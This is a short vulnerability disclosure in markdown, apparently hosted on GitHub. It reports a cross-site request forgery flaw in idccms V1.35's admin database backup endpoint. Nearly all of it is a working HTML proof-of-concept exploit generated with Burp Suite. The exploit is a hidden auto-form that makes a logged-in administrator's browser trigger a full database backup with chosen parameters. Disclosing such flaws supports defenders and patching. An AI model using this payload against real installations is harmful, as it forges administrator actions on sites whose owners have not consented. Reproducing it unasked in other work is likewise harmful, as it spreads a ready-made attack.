Skip to content

Latest commit

 

History

History
22 lines (19 loc) · 834 Bytes

csrf.md

File metadata and controls

22 lines (19 loc) · 834 Bytes
Raw

target:http://idccms.com/ version: V1.35

idccms V1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component http://127.0.0.1:80/admin/dbBakMySQL_deal.php?mudi=backup

POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:80/admin/dbBakMySQL_deal.php?mudi=backup" method="POST">
      <input type="hidden" name="backURL" value="http%3A%2F%2F127.0.0.1%2Fadmin%2FdbBakMySQL.php%3Fmudi%3Dbackup%26menuID%3D999902" />
			<input type="hidden" name="mode" value="all" />
			<input type="hidden" name="fileSize" value="5120" />
			<input type="hidden" name="backupSpace" value="server" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>